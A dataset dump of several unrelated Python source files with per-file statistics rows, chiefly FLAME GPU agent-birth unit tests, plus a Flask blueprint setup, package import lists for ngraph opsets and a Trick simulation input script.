layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population, "a")
# Execute model
cuda_model.step()
# Test output
population_a = pyflamegpu.AgentVector(model.Agent("agent"))
population_b = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population_a, "a")
cuda_model.getPopulationData(population_b, "b")
# Validate each agent has same result
assert len(population_a) == AGENT_COUNT / 2
assert len(population_b) == AGENT_COUNT / 2 + AGENT_COUNT / 4
is_1 = 0
for ai in population_a:
if (ai.getVariableFloat("x") - ai.getVariableUInt("id"), 1.0):
is_1 += 1
assert ai.getVariableUInt("id") % 2 == 1
assert is_1 == len(population_a)
is_1 = 0
is_12 = 0
for ai in population_b:
if (ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0):
is_12 += 1
assert ai.getVariableUInt("id") % 4 == 1
elif (ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0):
is_1 += 1
assert ai.getVariableUInt("id") % 2 == 0
assert is_12 == AGENT_COUNT / 4
assert is_1 == AGENT_COUNT / 2
def test_mandatory_output_different_state_with_agent_function_condition(self):
# Define model
model = pyflamegpu.ModelDescription("test_mandatory_output_different_state_with_agent_function_condition")
agent = model.newAgent("agent")
agent.newState("a")
agent.newState("b")
agent.newState("c")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.MandatoryOutput)
function.setRTCFunctionCondition(self.EvenThreadsOnlyCdn)
function.setInitialState("a")
function.setEndState("c")
function.setAgentOutput(agent, "b")
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population, "a")
# Execute model
cuda_model.step()
# Test output
population_a = pyflamegpu.AgentVector(model.Agent("agent"))
population_b = pyflamegpu.AgentVector(model.Agent("agent"))
population_c = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population_a, "a")
cuda_model.getPopulationData(population_b, "b")
cuda_model.getPopulationData(population_c, "c")
# Validate each agent has same result
assert len(population_a) == AGENT_COUNT / 2
assert len(population_b) == AGENT_COUNT / 2
assert len(population_c) == AGENT_COUNT / 2
for ai in population_a:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
assert ai.getVariableUInt("id") % 2 == 1
is_12_mod2_1 = 0
is_12_mod2_3 = 0
for ai in population_b:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
if (ai.getVariableUInt("id") % 4 == 1):
is_12_mod2_1 += 1
elif (ai.getVariableUInt("id") % 4 == 3):
is_12_mod2_3 += 1
assert is_12_mod2_1 == AGENT_COUNT / 4
assert is_12_mod2_3 == AGENT_COUNT / 4
for ai in population_c:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
assert ai.getVariableUInt("id") % 2 == 0
def test_optional_output_different_state_with_agent_function_condition(self):
# Define model
model = pyflamegpu.ModelDescription("test_optional_output_different_state_with_agent_function_condition")
agent = model.newAgent("agent")
agent.newState("a")
agent.newState("b")
agent.newState("c")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.OptionalOutput)
function.setRTCFunctionCondition(self.EvenThreadsOnlyCdn)
function.setInitialState("a")
function.setEndState("c")
function.setAgentOutput(agent, "b")
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population, "a")
# Execute model
cuda_model.step()
# Test output
population_a = pyflamegpu.AgentVector(model.Agent("agent"))
population_b = pyflamegpu.AgentVector(model.Agent("agent"))
population_c = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population_a, "a")
cuda_model.getPopulationData(population_b, "b")
cuda_model.getPopulationData(population_c, "c")
# Validate each agent has same result
assert len(population_a) == AGENT_COUNT / 2
assert len(population_b) == AGENT_COUNT / 4
assert len(population_c) == AGENT_COUNT / 2
for ai in population_a:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
assert ai.getVariableUInt("id") % 2 == 1
for ai in population_b:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
assert ai.getVariableUInt("id") % 4 == 1
for ai in population_c:
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
assert ai.getVariableUInt("id") % 2 == 0
def test_mandatory_output_same_state_with_death_with_agent_function_condition(self):
# Define model
model = pyflamegpu.ModelDescription("test_mandatory_output_same_state_with_death_with_agent_function_condition")
agent = model.newAgent("agent")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.MandatoryOutputWithDeath)
function.setRTCFunctionCondition(self.EvenThreadsOnlyCdn)
function.setAgentOutput(agent)
function.setAllowAgentDeath(True)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
cuda_model.getPopulationData(population)
# Validate each agent has same result
# 50% original agents output new agent and died, 50% original agents lived on disabled
assert len(population) == AGENT_COUNT
is_1 = 0
is_12 = 0
is_12_mod2_1 = 0
is_12_mod2_3 = 0
for ai in population:
val = ai.getVariableFloat("x") - ai.getVariableUInt("id")
if (val == 1.0):
is_1 += 1
assert ai.getVariableUInt("id") % 2 == 1
elif (val == 12.0):
is_12 += 1
if (ai.getVariableUInt("id") % 4 == 1):
is_12_mod2_1 += 1
elif (ai.getVariableUInt("id") % 4 == 3):
is_12_mod2_3 += 1
assert is_1 == AGENT_COUNT / 2
assert is_12 == AGENT_COUNT / 2
assert is_12_mod2_1 == AGENT_COUNT / 4
assert is_12_mod2_3 == AGENT_COUNT / 4
def test_optional_output_same_state_with_death_with_agent_function_condition(self):
# Define model
model = pyflamegpu.ModelDescription("test_optional_output_same_state_with_death_with_agent_function_condition")
agent = model.newAgent("agent")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.OptionalOutputWithDeath)
function.setRTCFunctionCondition(self.EvenThreadsOnlyCdn)
function.setAgentOutput(agent)
function.setAllowAgentDeath(True)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
AGENT_COUNT = 1024
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population)
# Execute model
cuda_model.step()
# Test output
cuda_model.getPopulationData(population)
# Validate each agent has same result
# 50 % original agents did not execute so lived on = AGENT_COUNT / 2
# 25 % original agents executed, output new agent and died
assert len(population) == AGENT_COUNT
is_1 = 0
is_12 = 0
is_1_mod2_0 = 0
is_1_mod2_1 = 0
for ai in population:
val = ai.getVariableFloat("x") - ai.getVariableUInt("id")
if (val == 1.0):
is_1 += 1
if (ai.getVariableUInt("id") % 2 == 0):
is_1_mod2_0 += 1
else:
is_1_mod2_1 += 1
elif (val == 12.0):
is_12 += 1
assert ai.getVariableUInt("id") % 4 == 1
#else:
# printf("i:%u, x:%f, id:%u\n", i, ai.getVariableFloat("x"), ai.getVariableUInt("id"))
assert is_1 == AGENT_COUNT / 2 + AGENT_COUNT / 4
assert is_1_mod2_0 == AGENT_COUNT / 4
assert is_1_mod2_1 == AGENT_COUNT / 2
assert is_12 == AGENT_COUNT / 4
def test_mandatory_output_different_state_with_death_with_agent_function_condition(self):
# Define model
model = pyflamegpu.ModelDescription("test_mandatory_output_different_state_with_death_with_agent_function_condition")
agent = model.newAgent("agent")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.MandatoryOutputWithDeath)
function.setRTCFunctionCondition(self.EvenThreadsOnlyCdn)
function.setInitialState("a")
function.setEndState("a")
function.setAgentOutput(agent, "b")
function.setAllowAgentDeath(True)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population, "a")
# Execute model
cuda_model.step()
# Test output
population_a = pyflamegpu.AgentVector(model.Agent("agent"))
population_b = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population_a, "a")
cuda_model.getPopulationData(population_b, "b")
# Validate each agent has same result
assert len(population_a) == AGENT_COUNT / 2
assert len(population_b) == AGENT_COUNT / 2
for ai in population_a:
assert ai.getVariableUInt("id") % 2 == 1
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
for ai in population_b:
assert ai.getVariableUInt("id") % 2 == 1
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
def test_optional_output_different_state_with_death_with_agent_function_condition(self):
# Define model
model = pyflamegpu.ModelDescription("test_optional_output_different_state_with_death_with_agent_function_condition")
agent = model.newAgent("agent")
agent.newState("a")
agent.newState("b")
agent.newVariableFloat("x")
agent.newVariableUInt("id")
function = agent.newRTCFunction("output", self.OptionalOutputWithDeath)
function.setRTCFunctionCondition(self.EvenThreadsOnlyCdn)
function.setInitialState("a")
function.setEndState("a")
function.setAgentOutput(agent, "b")
function.setAllowAgentDeath(True)
layer1 = model.newLayer()
layer1.addAgentFunction(function)
# Init agent pop
cuda_model = pyflamegpu.CUDASimulation(model)
AGENT_COUNT = 1024
population = pyflamegpu.AgentVector(model.Agent("agent"), AGENT_COUNT)
# Initialise agents
for i in range(AGENT_COUNT):
instance = population[i]
instance.setVariableFloat("x", i + 1.0)
instance.setVariableUInt("id", i)
cuda_model.setPopulationData(population, "a")
# Execute model
cuda_model.step()
# Test output
population_a = pyflamegpu.AgentVector(model.Agent("agent"))
population_b = pyflamegpu.AgentVector(model.Agent("agent"))
cuda_model.getPopulationData(population_a, "a")
cuda_model.getPopulationData(population_b, "b")
# Validate each agent has same result
assert len(population_a) == AGENT_COUNT / 2 + AGENT_COUNT / 4
assert len(population_b) == AGENT_COUNT / 4
is_1_mod2_0 = 0
is_1_mod2_1 = 0
for ai in population_a:
if (ai.getVariableUInt("id") % 2 == 0):
is_1_mod2_0 += 1
else:
is_1_mod2_1 += 1
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 1.0
#if (ai.getVariableFloat("x") - ai.getVariableUInt("id") != 1.0):
# printf("i:%u, x:%f, id:%u\n", i, ai.getVariableFloat("x"), ai.getVariableUInt("id"))
assert is_1_mod2_0 == AGENT_COUNT / 4
assert is_1_mod2_1 == AGENT_COUNT / 2
for ai in population_b:
assert ai.getVariableUInt("id") % 4 == 1
assert ai.getVariableFloat("x") - ai.getVariableUInt("id") == 12.0
def test_device_agent_birth_array_set(self):
TEST_REFERENCE = [3, 5, 9, 17] # Needs to be a list not tuple to allow list to be changed
model = pyflamegpu.ModelDescription("test_device_agent_birth_array_set")
agent = model.newAgent("agent_name")
agent.newVariableUInt("id")
agent.newVariableArrayInt("array_var", 4)
agent.newVariableFloat("y")
fn = agent.newRTCFunction("out", self.ArrayVarDeviceBirth)
fn.setAllowAgentDeath(True)
fn.setAgentOutput(agent)
model.newLayer().addAgentFunction(fn)
# Run the init function
population = pyflamegpu.AgentVector(agent, AGENT_COUNT)
for i in range(AGENT_COUNT):
ai = population[i]
ai.setVariableUInt("id", i)
sim = pyflamegpu.CUDASimulation(model)
sim.setPopulationData(population)
sim.step()
sim.getPopulationData(population)
# Check data is correct
assert len(population) == AGENT_COUNT
for instance in population:
j = instance.getVariableUInt("id")
# Check array sets are correct
array1 = list(instance.getVariableArrayInt("array_var"))
for k in range(4):
array1[k] -= j
assert j % 3 == 0
assert array1 == TEST_REFERENCE
assert instance.getVariableFloat("y") == 14.0 + j
def test_device_agent_birth_default_works(self):
TEST_REFERENCE = (3, 5, 9, 17)
model = pyflamegpu.ModelDescription("test_device_agent_birth_default_works")
agent = model.newAgent("agent_name")
agent.newVariableUInt("id")
agent.newVariableArrayInt("array_var", 4, TEST_REFERENCE)
agent.newVariableFloat("y", 14.0)
fn = agent.newRTCFunction("out", self.ArrayVarDeviceBirth_DefaultWorks)
fn.setAllowAgentDeath(True)
fn.setAgentOutput(agent)
model.newLayer().addAgentFunction(fn)
# Run the init function
population = pyflamegpu.AgentVector(agent, AGENT_COUNT)
for i in range(AGENT_COUNT):
ai = population[i]
ai.setVariableUInt("id", i)
sim = pyflamegpu.CUDASimulation(model)
sim.setPopulationData(population)
sim.step()
sim.getPopulationData(population)
# Check data is correct
assert len(population) == AGENT_COUNT
for instance in population:
j = instance.getVariableUInt("id")
# Check array sets are correct
array1 = instance.getVariableArrayInt("array_var")
assert j % 3 == 0
assert array1 == TEST_REFERENCE
assert instance.getVariableFloat("y") == 14.0
| 41.206569
| 125
| 0.613789
| 5,089
| 47,676
| 5.572804
| 0.034781
| 0.045487
| 0.047567
| 0.052468
| 0.950882
| 0.946544
| 0.935508
| 0.91964
| 0.919076
| 0.906559
| 0
| 0.024856
| 0.28356
| 47,676
| 1,156
| 126
| 41.242215
| 0.805428
| 0.067036
| 0
| 0.878953
| 0
| 0
| 0.103986
| 0.053121
| 0
| 0
| 0
| 0
| 0.138495
| 1
| 0.025082
| false
| 0
| 0.003272
| 0
| 0.047983
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
86b92bddfa544cc668c3820a74fd60c48ad3add6
| 122
|
py
|
Python
|
Chapter07/webapp/blog/__init__.py
|
jayakumardhananjayan/pythonwebtut
|
a7547473fec5b90a91aea5395131e6eff245b495
|
[
"MIT"
] | 135
|
2018-10-31T11:52:35.000Z
|
2022-03-23T12:23:04.000Z
|
Chapter07/webapp/blog/__init__.py
|
jayakumardhananjayan/pythonwebtut
|
a7547473fec5b90a91aea5395131e6eff245b495
|
[
"MIT"
] | 6
|
2019-03-21T02:04:43.000Z
|
2022-03-22T11:07:25.000Z
|
Chapter07/webapp/blog/__init__.py
|
jayakumardhananjayan/pythonwebtut
|
a7547473fec5b90a91aea5395131e6eff245b495
|
[
"MIT"
] | 109
|
2018-10-30T22:26:23.000Z
|
2022-03-24T14:53:13.000Z
|
def create_module(app, **kwargs):
from .controllers import blog_blueprint
app.register_blueprint(blog_blueprint)
| 24.4
| 43
| 0.778689
| 15
| 122
| 6.066667
| 0.733333
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.139344
| 122
| 4
| 44
| 30.5
| 0.866667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 0.666667
| 0.666667
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 1
|
0
| 7
|
86c1fe263062e78c274b9e49e765fa8917dc3242
| 83
|
py
|
Python
|
models/__init__.py
|
FaithfulZhening/CNN-FCF-CVPR-2019
|
f65f6577feb4a2cdaed3fb60cb14b8840e25e19c
|
[
"Apache-2.0"
] | 23
|
2019-06-18T22:12:05.000Z
|
2021-01-28T00:07:04.000Z
|
models/__init__.py
|
FaithfulZhening/CNN-FCF-CVPR-2019
|
f65f6577feb4a2cdaed3fb60cb14b8840e25e19c
|
[
"Apache-2.0"
] | 1
|
2020-07-11T09:27:48.000Z
|
2020-07-11T09:27:48.000Z
|
models/__init__.py
|
FaithfulZhening/CNN-FCF-CVPR-2019
|
f65f6577feb4a2cdaed3fb60cb14b8840e25e19c
|
[
"Apache-2.0"
] | 5
|
2019-07-18T12:41:24.000Z
|
2020-01-07T04:28:01.000Z
|
from .modules import *
from .ResNet_CIFAR import *
from .ResNet_ImageNet import *
| 27.666667
| 30
| 0.771084
| 11
| 83
| 5.636364
| 0.545455
| 0.322581
| 0.516129
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.156627
| 83
| 3
| 30
| 27.666667
| 0.885714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
86f53617a33562b6819a3eb44f270b1c7583875d
| 180
|
py
|
Python
|
venv/lib/python3.8/site-packages/arch/compat/pandas.py
|
johncollinsai/post-high-frequency-data
|
88533b0e0afc7e7f82fee1d3ca4b68abc30aaeb4
|
[
"MIT"
] | 1
|
2022-03-29T22:12:54.000Z
|
2022-03-29T22:12:54.000Z
|
venv/lib/python3.8/site-packages/arch/compat/pandas.py
|
johncollinsai/post-high-frequency-data
|
88533b0e0afc7e7f82fee1d3ca4b68abc30aaeb4
|
[
"MIT"
] | null | null | null |
venv/lib/python3.8/site-packages/arch/compat/pandas.py
|
johncollinsai/post-high-frequency-data
|
88533b0e0afc7e7f82fee1d3ca4b68abc30aaeb4
|
[
"MIT"
] | null | null | null |
try:
from pandas.api.types import is_datetime64_any_dtype
except ImportError:
from pandas.core.common import is_datetime64_any_dtype
__all__ = ["is_datetime64_any_dtype"]
| 25.714286
| 58
| 0.811111
| 26
| 180
| 5.115385
| 0.576923
| 0.270677
| 0.338346
| 0.451128
| 0.390977
| 0
| 0
| 0
| 0
| 0
| 0
| 0.038217
| 0.127778
| 180
| 6
| 59
| 30
| 0.808917
| 0
| 0
| 0
| 0
| 0
| 0.127778
| 0.127778
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.6
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d4c73ce834ea9c2756092c34cad52d01b23158e9
| 7,002
|
py
|
Python
|
src/bindings/python/src/compatibility/ngraph/opset9/__init__.py
|
artkuli/openvino
|
eb2fb5bf7df36ae55e3251816999b801ce053335
|
[
"Apache-2.0"
] | 1,127
|
2018-10-15T14:36:58.000Z
|
2020-04-20T09:29:44.000Z
|
src/bindings/python/src/compatibility/ngraph/opset9/__init__.py
|
artkuli/openvino
|
eb2fb5bf7df36ae55e3251816999b801ce053335
|
[
"Apache-2.0"
] | 439
|
2018-10-20T04:40:35.000Z
|
2020-04-19T05:56:25.000Z
|
src/bindings/python/src/compatibility/ngraph/opset9/__init__.py
|
tuxedcat/openvino
|
5939cb1b363ebb56b73c2ad95d8899961a084677
|
[
"Apache-2.0"
] | 414
|
2018-10-17T05:53:46.000Z
|
2020-04-16T17:29:53.000Z
|
# Copyright (C) 2018-2022 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
from ngraph.opset1.ops import absolute
from ngraph.opset1.ops import absolute as abs
from ngraph.opset1.ops import acos
from ngraph.opset4.ops import acosh
from ngraph.opset8.ops import adaptive_avg_pool
from ngraph.opset8.ops import adaptive_max_pool
from ngraph.opset1.ops import add
from ngraph.opset1.ops import asin
from ngraph.opset4.ops import asinh
from ngraph.opset3.ops import assign
from ngraph.opset1.ops import atan
from ngraph.opset4.ops import atanh
from ngraph.opset1.ops import avg_pool
from ngraph.opset5.ops import batch_norm_inference
from ngraph.opset2.ops import batch_to_space
from ngraph.opset1.ops import binary_convolution
from ngraph.opset3.ops import broadcast
from ngraph.opset3.ops import bucketize
from ngraph.opset1.ops import ceiling
from ngraph.opset1.ops import ceiling as ceil
from ngraph.opset1.ops import clamp
from ngraph.opset1.ops import concat
from ngraph.opset1.ops import constant
from ngraph.opset1.ops import convert
from ngraph.opset1.ops import convert_like
from ngraph.opset1.ops import convolution
from ngraph.opset1.ops import convolution_backprop_data
from ngraph.opset1.ops import cos
from ngraph.opset1.ops import cosh
from ngraph.opset1.ops import ctc_greedy_decoder
from ngraph.opset6.ops import ctc_greedy_decoder_seq_len
from ngraph.opset4.ops import ctc_loss
from ngraph.opset3.ops import cum_sum
from ngraph.opset3.ops import cum_sum as cumsum
from ngraph.opset8.ops import deformable_convolution
from ngraph.opset1.ops import deformable_psroi_pooling
from ngraph.opset1.ops import depth_to_space
from ngraph.opset8.ops import detection_output
from ngraph.opset7.ops import dft
from ngraph.opset1.ops import divide
from ngraph.opset7.ops import einsum
from ngraph.opset1.ops import elu
from ngraph.opset3.ops import embedding_bag_offsets_sum
from ngraph.opset3.ops import embedding_bag_packed_sum
from ngraph.opset3.ops import embedding_segments_sum
from ngraph.opset3.ops import extract_image_patches
from ngraph.opset1.ops import equal
from ngraph.opset1.ops import erf
from ngraph.opset1.ops import exp
from ngraph.opset9.ops import eye
from ngraph.opset1.ops import fake_quantize
from ngraph.opset1.ops import floor
from ngraph.opset1.ops import floor_mod
from ngraph.opset8.ops import gather
from ngraph.opset6.ops import gather_elements
from ngraph.opset8.ops import gather_nd
from ngraph.opset1.ops import gather_tree
from ngraph.opset7.ops import gelu
from ngraph.opset9.ops import generate_proposals
from ngraph.opset1.ops import greater
from ngraph.opset1.ops import greater_equal
from ngraph.opset9.ops import grid_sample
from ngraph.opset1.ops import grn
from ngraph.opset1.ops import group_convolution
from ngraph.opset1.ops import group_convolution_backprop_data
from ngraph.opset3.ops import gru_cell
from ngraph.opset5.ops import gru_sequence
from ngraph.opset1.ops import hard_sigmoid
from ngraph.opset5.ops import hsigmoid
from ngraph.opset4.ops import hswish
from ngraph.opset7.ops import idft
from ngraph.opset8.ops import if_op
from ngraph.opset1.ops import interpolate
from ngraph.opset9.ops import irdft
from ngraph.opset8.ops import i420_to_bgr
from ngraph.opset8.ops import i420_to_rgb
from ngraph.opset1.ops import less
from ngraph.opset1.ops import less_equal
from ngraph.opset1.ops import log
from ngraph.opset1.ops import logical_and
from ngraph.opset1.ops import logical_not
from ngraph.opset1.ops import logical_or
from ngraph.opset1.ops import logical_xor
from ngraph.opset5.ops import log_softmax
from ngraph.opset5.ops import loop
from ngraph.opset1.ops import lrn
from ngraph.opset4.ops import lstm_cell
from ngraph.opset5.ops import lstm_sequence
from ngraph.opset1.ops import matmul
from ngraph.opset8.ops import matrix_nms
from ngraph.opset8.ops import max_pool
from ngraph.opset1.ops import maximum
from ngraph.opset1.ops import minimum
from ngraph.opset4.ops import mish
from ngraph.opset1.ops import mod
from ngraph.opset9.ops import multiclass_nms
from ngraph.opset1.ops import multiply
from ngraph.opset6.ops import mvn
from ngraph.opset1.ops import negative
from ngraph.opset9.ops import non_max_suppression
from ngraph.opset3.ops import non_zero
from ngraph.opset1.ops import normalize_l2
from ngraph.opset1.ops import not_equal
from ngraph.opset8.ops import nv12_to_bgr
from ngraph.opset8.ops import nv12_to_rgb
from ngraph.opset1.ops import one_hot
from ngraph.opset1.ops import pad
from ngraph.opset1.ops import parameter
from ngraph.opset1.ops import power
from ngraph.opset1.ops import prelu
from ngraph.opset8.ops import prior_box
from ngraph.opset1.ops import prior_box_clustered
from ngraph.opset1.ops import psroi_pooling
from ngraph.opset4.ops import proposal
from ngraph.opset8.ops import random_uniform
from ngraph.opset1.ops import range
from ngraph.opset9.ops import rdft
from ngraph.opset3.ops import read_value
from ngraph.opset4.ops import reduce_l1
from ngraph.opset4.ops import reduce_l2
from ngraph.opset1.ops import reduce_logical_and
from ngraph.opset1.ops import reduce_logical_or
from ngraph.opset1.ops import reduce_max
from ngraph.opset1.ops import reduce_mean
from ngraph.opset1.ops import reduce_min
from ngraph.opset1.ops import reduce_prod
from ngraph.opset1.ops import reduce_sum
from ngraph.opset1.ops import region_yolo
from ngraph.opset2.ops import reorg_yolo
from ngraph.opset1.ops import relu
from ngraph.opset1.ops import reshape
from ngraph.opset1.ops import result
from ngraph.opset1.ops import reverse_sequence
from ngraph.opset3.ops import rnn_cell
from ngraph.opset5.ops import rnn_sequence
from ngraph.opset9.ops import roi_align
from ngraph.opset2.ops import roi_pooling
from ngraph.opset7.ops import roll
from ngraph.opset5.ops import round
from ngraph.opset3.ops import scatter_elements_update
from ngraph.opset3.ops import scatter_update
from ngraph.opset1.ops import select
from ngraph.opset1.ops import selu
from ngraph.opset3.ops import shape_of
from ngraph.opset3.ops import shuffle_channels
from ngraph.opset1.ops import sigmoid
from ngraph.opset1.ops import sign
from ngraph.opset1.ops import sin
from ngraph.opset1.ops import sinh
from ngraph.opset8.ops import slice
from ngraph.opset8.ops import softmax
from ngraph.opset4.ops import softplus
from ngraph.opset9.ops import softsign
from ngraph.opset2.ops import space_to_batch
from ngraph.opset1.ops import space_to_depth
from ngraph.opset1.ops import split
from ngraph.opset1.ops import sqrt
from ngraph.opset1.ops import squared_difference
from ngraph.opset1.ops import squeeze
from ngraph.opset1.ops import strided_slice
from ngraph.opset1.ops import subtract
from ngraph.opset4.ops import swish
from ngraph.opset1.ops import tan
from ngraph.opset1.ops import tanh
from ngraph.opset1.ops import tensor_iterator
from ngraph.opset1.ops import tile
from ngraph.opset3.ops import topk
from ngraph.opset1.ops import transpose
from ngraph.opset1.ops import unsqueeze
from ngraph.opset1.ops import variadic_split
| 40.241379
| 61
| 0.850614
| 1,154
| 7,002
| 5.060659
| 0.184575
| 0.291096
| 0.257534
| 0.305822
| 0.811815
| 0.318493
| 0.116952
| 0
| 0
| 0
| 0
| 0.030606
| 0.0994
| 7,002
| 173
| 62
| 40.473988
| 0.895496
| 0.010997
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d4e035657d76b65ccbce7224b8997603f44dcd3e
| 146
|
py
|
Python
|
trick_sims/Ball/SIM_ball_L3/RUN_realtime/input.py
|
iamthad/trick
|
88ac5b5990228e42a653347c9d7a103acea4d137
|
[
"NASA-1.3"
] | 647
|
2015-05-07T16:08:16.000Z
|
2022-03-30T02:33:21.000Z
|
trick_sims/Ball/SIM_ball_L3/RUN_realtime/input.py
|
tanglemontree/trick
|
f182c723495185708434e67789457eb29d52ad58
|
[
"NASA-1.3"
] | 995
|
2015-04-30T19:44:31.000Z
|
2022-03-31T20:14:44.000Z
|
trick_sims/Ball/SIM_ball_L3/RUN_realtime/input.py
|
tanglemontree/trick
|
f182c723495185708434e67789457eb29d52ad58
|
[
"NASA-1.3"
] | 251
|
2015-05-15T09:24:34.000Z
|
2022-03-22T20:39:05.000Z
|
exec(open("Modified_data/data_record.dr").read())
exec(open("Modified_data/realtime.py").read())
exec(open("Modified_data/graphics.py").read())
| 24.333333
| 49
| 0.739726
| 22
| 146
| 4.727273
| 0.454545
| 0.230769
| 0.461538
| 0.576923
| 0.461538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.034247
| 146
| 5
| 50
| 29.2
| 0.737589
| 0
| 0
| 0
| 0
| 0
| 0.541667
| 0.541667
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d4ea03fb1fda14870ccd91c1ef3e5d610ab8fef4
| 34,967
|
py
|
Python
|
tests/unit_test/server/test_ut_server_boot_order.py
|
CiscoUcs/ucsm_apis
|
2537d0aa300adcfb6ebf8baf29c504ce2abe748c
|
[
"Apache-2.0"
] | 10
|
2017-03-24T13:49:40.000Z
|
2021-07-09T15:51:00.000Z
|
